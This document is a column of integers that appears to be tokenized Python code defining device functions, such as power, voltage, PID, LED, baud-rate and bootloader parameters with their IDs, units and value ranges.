20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2598,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2598,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
13434,
9362,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1176,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2231,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2231,
198,
20786,
13,
3672,
796,
366,
11518,
14957,
13434,
20361,
1,
198,
20786,
13,
11213,
796,
366,
40541,
2472,
1176,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
54,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3510,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3510,
198,
20786,
13,
3672,
796,
366,
11518,
53,
5978,
496,
9362,
1,
198,
20786,
13,
11213,
796,
366,
40541,
15004,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2857,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2857,
198,
20786,
13,
3672,
796,
366,
11518,
53,
5978,
496,
20361,
1,
198,
20786,
13,
11213,
796,
366,
40541,
15004,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2780,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2780,
198,
20786,
13,
3672,
796,
366,
9452,
53,
5978,
496,
9362,
1,
198,
20786,
13,
11213,
796,
366,
44046,
15004,
5078,
572,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2920,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2920,
198,
20786,
13,
3672,
796,
366,
9452,
53,
5978,
496,
20361,
1,
198,
20786,
13,
11213,
796,
366,
44046,
15004,
6509,
1241,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
53,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
362,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1120,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1120,
198,
20786,
13,
3672,
796,
366,
13739,
28925,
4965,
316,
1,
198,
20786,
13,
11213,
796,
366,
13739,
6682,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
807,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
1199,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4349,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4349,
198,
20786,
13,
3672,
796,
366,
4677,
1580,
28925,
4965,
316,
1,
198,
20786,
13,
11213,
796,
366,
4677,
1580,
6682,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
807,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
74,
53,
10910,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
513,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4309,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4309,
198,
20786,
13,
3672,
796,
366,
9452,
42492,
20361,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
34,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4310,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4310,
198,
20786,
13,
3672,
796,
366,
11518,
42492,
20361,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
34,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
4051,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
4051,
198,
20786,
13,
3672,
796,
366,
9452,
32661,
17995,
20361,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
48587,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2816,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2816,
198,
20786,
13,
3672,
796,
366,
11518,
32661,
17995,
20361,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
48587,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
45021,
2623,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3980,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3980,
198,
20786,
13,
3672,
796,
366,
42416,
19580,
1,
198,
20786,
13,
11213,
796,
366,
2514,
900,
12678,
286,
257,
2957,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3553,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3553,
198,
20786,
13,
3672,
796,
366,
46912,
23114,
19580,
1,
198,
20786,
13,
11213,
796,
366,
2514,
900,
12678,
286,
257,
1402,
17593,
3359,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3365,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3365,
198,
20786,
13,
3672,
796,
366,
33,
3885,
4873,
1,
198,
20786,
13,
11213,
796,
366,
2514,
900,
275,
3885,
4873,
329,
18620,
39334,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
1677,
5883,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
3270,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
3270,
198,
20786,
13,
3672,
796,
366,
47,
62,
47,
2389,
1,
198,
20786,
13,
11213,
796,
366,
2964,
634,
1538,
1988,
286,
37022,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
1899,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
1899,
198,
20786,
13,
3672,
796,
366,
40,
62,
47,
2389,
1,
198,
20786,
13,
11213,
796,
366,
34500,
1373,
1988,
286,
37022,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
5333,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
5333,
198,
20786,
13,
3672,
796,
366,
35,
62,
47,
2389,
1,
198,
20786,
13,
11213,
796,
366,
28532,
452,
876,
1988,
286,
37022,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
5237,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
5237,
198,
20786,
13,
3672,
796,
366,
25844,
5189,
12966,
862,
22854,
1,
198,
20786,
13,
11213,
796,
366,
38,
1083,
262,
3463,
286,
257,
2169,
862,
22854,
284,
262,
5128,
286,
257,
37022,
10444,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
5066,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
5066,
198,
20786,
13,
3672,
796,
366,
21745,
30782,
1,
198,
20786,
13,
11213,
796,
366,
42492,
284,
307,
900,
329,
37022,
10444,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
362,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
352,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
532,
34159,
3104,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
36203,
3104,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2414,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2414,
198,
20786,
13,
3672,
796,
366,
40541,
47,
22117,
1,
198,
20786,
13,
11213,
796,
366,
40541,
1988,
286,
279,
26377,
284,
1630,
7435,
346,
2024,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2996,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2996,
198,
20786,
13,
3672,
796,
366,
44046,
47,
22117,
1,
198,
20786,
13,
11213,
796,
366,
44046,
1988,
286,
279,
26377,
284,
1630,
7435,
346,
2024,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
36521,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
3064,
2791,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
1802,
2791,
198,
20786,
13,
3672,
796,
366,
10434,
37623,
524,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
604,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
366,
82,
1,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
42313,
2920,
3134,
27137,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
19,
2388,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
604,
2388,
198,
20786,
13,
3672,
796,
366,
36046,
36476,
1,
198,
20786,
13,
11213,
796,
366,
17469,
6297,
29356,
4235,
13,
29282,
428,
3141,
318,
691,
1908,
284,
3586,
1430,
13,
1649,
262,
6297,
29356,
318,
1541,
2491,
11,
428,
3141,
481,
691,
10971,
257,
3967,
12127,
526,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
657,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
7029,
486,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
7337,
486,
198,
20786,
13,
3672,
796,
366,
38,
2069,
20231,
14171,
1,
198,
20786,
13,
11213,
796,
366,
4550,
11697,
4235,
319,
14,
2364,
1,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
17,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
17,
198,
20786,
13,
3672,
796,
366,
38,
2069,
22810,
19076,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
1467,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
18,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
18,
198,
20786,
13,
3672,
796,
366,
5211,
43826,
9442,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
19,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
19,
198,
20786,
13,
3672,
796,
366,
36674,
29239,
7575,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
20,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
20,
198,
20786,
13,
3672,
796,
366,
36674,
29239,
5777,
51,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
21,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
21,
198,
20786,
13,
3672,
796,
366,
7414,
1530,
14134,
571,
6601,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
22,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
22,
198,
20786,
13,
3672,
796,
366,
5841,
33111,
1,
198,
20786,
13,
11213,
796,
357,
198,
220,
220,
220,
366,
2514,
19818,
262,
1271,
286,
13103,
5884,
284,
262,
3335,
13,
383,
3335,
2346,
318,
5716,
355,
8265,
657,
526,
198,
8,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
4944,
46224,
1961,
62,
41359,
13246,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
198,
20786,
13,
2100,
7469,
13,
20850,
796,
13538,
198,
20786,
13,
2100,
7469,
13,
9888,
796,
657,
198,
20786,
13,
2100,
7469,
13,
1084,
796,
657,
198,
20786,
13,
2100,
7469,
13,
9806,
796,
17759,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
23,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
23,
198,
20786,
13,
3672,
796,
366,
5841,
12360,
1,
198,
20786,
13,
11213,
796,
366,
2514,
19818,
8265,
1321,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
18601,
2751,
1,
198,
20786,
13,
2100,
7469,
13,
13664,
796,
2608,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27559,
24,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
30123,
24,
198,
20786,
13,
3672,
796,
366,
44836,
47643,
12374,
1,
198,
20786,
13,
11213,
796,
13538,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
9858,
44,
6981,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
20,
2388,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
642,
2388,
198,
20786,
13,
3672,
796,
366,
35479,
1,
198,
20786,
13,
11213,
796,
366,
3855,
262,
5671,
3815,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
16402,
41358,
1,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
4059,
486,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
5323,
486,
198,
20786,
13,
3672,
796,
366,
36301,
1,
198,
20786,
13,
11213,
796,
366,
1136,
477,
10007,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
16402,
41358,
1,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
17,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
17,
198,
20786,
13,
3672,
796,
366,
31560,
934,
5569,
28632,
1,
198,
20786,
13,
11213,
796,
366,
5569,
422,
11778,
7,
31438,
5884,
284,
44608,
24339,
8,
284,
4958,
393,
422,
4958,
284,
3586,
1,
198,
20786,
13,
961,
796,
352,
198,
20786,
13,
13564,
796,
657,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
34,
49060,
37232,
62,
19499,
45746,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
18,
60,
796,
25439,
198,
20786,
13,
5162,
312,
796,
23336,
18,
198,
20786,
13,
3672,
796,
366,
31560,
934,
16594,
28632,
1,
198,
20786,
13,
11213,
796,
366,
16594,
286,
1366,
422,
3586,
284,
4958,
393,
422,
4958,
284,
11778,
7,
31438,
5884,
284,
44608,
24339,
16725,
198,
20786,
13,
961,
796,
657,
198,
20786,
13,
13564,
796,
352,
198,
20786,
13,
2100,
7469,
796,
11052,
3419,
198,
20786,
13,
2100,
7469,
13,
4906,
796,
366,
25216,
62,
34,
49060,
37232,
62,
19499,
45746,
1,
198,
20786,
13,
2100,
7469,
13,
7857,
796,
352,
628,
198,
20786,
796,
40480,
3419,
198,
12543,
2733,
58,
27641,
19,
60,
796,
25439,
198,
